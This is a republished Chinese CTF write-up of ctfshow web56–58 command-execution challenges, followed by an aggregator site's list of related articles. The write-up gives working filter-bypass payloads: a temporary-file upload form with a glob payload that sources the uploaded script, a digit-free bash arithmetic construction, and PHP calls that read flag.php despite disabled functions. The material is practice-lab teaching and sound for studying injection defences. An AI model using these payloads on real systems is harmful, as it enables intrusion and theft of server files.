当前位置: 首页 > news >正文

ctfshow-web入门-命令执行(web56、web57、web58)

目录

1、web56 

2、web57

3、web58


1、web56 

命令执行,需要严格的过滤

新增过滤数字,只能采用上一题临时文件上传的方法:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="https://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

payload:?c=.%20/???/????????[@-[] 

2、web57

命令执行,需要严格的过滤,已测试,可绕

先说两个东西,在 Linux 下:

$(())=0
$((~ $(()) ))=-1

这里说了 flag 在 36.php,那么我们只需要构造 36,但是数字被过滤了。

由于前面说的只有 -1,因此我们对 36 进行取反,得到 -37,对 -37 再次取反即可得到 36。

根据 $((~ $(()) ))=-1,我们进行拼接,构造出 -37

$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))

再对其进行取反得到 36

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

构造 payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

拿到 flag:ctfshow{37b0df2c-1256-4779-93e8-715022cb9673}

3、web58

命令执行,突破禁用函数

调用 system 函数,发现函数被禁用

这里使用 show_source 或者 highlight_file,构造 payload:

c=show_source('flag.php');
c=highlight_file('flag.php');

拿到 flag:ctfshow{7d992144-9afa-434e-a610-5af9bc9e1600}

也可以直接将 php 代码传给 eval 函数让其执行,构造 payload:

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

还在网上还看到了很多其他奇思妙想的解法,格局一下就打开了

(1)利用 copy 函数

c=copy("flag.php","flag.txt");

执行后直接访问 flag.txt

(2)rename 函数

通过将 flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多

(3)file_get_contents 函数

使用 file_get_contents 进行读取,再配合 echo 输出,payload:

c=echo file_get_contents("flag.php");

(4)readfile 函数

payload:

c=readfile("flag.php");

 

(5) file 函数

payload:

c=print_r(file("flag.php"));     

更多其他情况和方法可以参考羽师傅的博客 

http://www.lryc.cn/news/390087.html

相关文章:

  • controller不同的后端路径对应vue前端传递数据发送请求的方式,vue请求参数 param 与data 如何对应后端参数
  • 【FFmpeg】avcodec_send_frame函数
  • python获取字符编码
  • 通过MATLAB控制TI毫米波雷达的工作状态之实时数据采集
  • 华为HCIP Datacom H12-821 卷21
  • MySQL之应用层优化(二)
  • Java源码解读之常量52429
  • “Photoshop AI插件:StartAI的全面使用攻略
  • 入门Axure:快速掌握原型设计技能
  • Java中的序列化与反序列化详解
  • 在鸿蒙开发中如何实现皮肤切换?
  • FlowUs新一代内容创作营销平台|FlowUs息流国产 好用 不限速
  • WebSocket解决方案(springboot 基于Redis发布订阅)
  • 如何优化网站SEO排名?
  • 基于Java的音乐网站系统-计算机毕业设计源码01239
  • 云原生之容器编排实践-OpenEuler23.09在线安装Kubernetes与KubeSphere
  • Ubuntu 截图shutter,图像编辑 gimp,录屏kazam
  • WSO2 products 文件上传漏洞(CVE-2022-29464)
  • YOLOv8改进 | 卷积模块 | SAConv可切换空洞卷积
  • 使用Python下载并合并HLS视频片段
  • 常见的九种二极管
  • 竞赛选题 python的搜索引擎系统设计与实现
  • 大模型技术方向夏令营1期-对话分角色要素提取挑战赛
  • 类和对象(封装、继承、多态、友元)
  • 关于Yolov8我踩过的那些坑
  • Linux——shell原理和文件权限
  • 网络工程师需要熟悉Docker吗?我觉得不需要精通,但是得懂基础
  • c++初级-2-引用
  • 如何清理电脑内存?让电脑运行如飞!
  • [数据集][目标检测]人员状态跑睡抽烟打电话跌倒检测数据集4943张5类别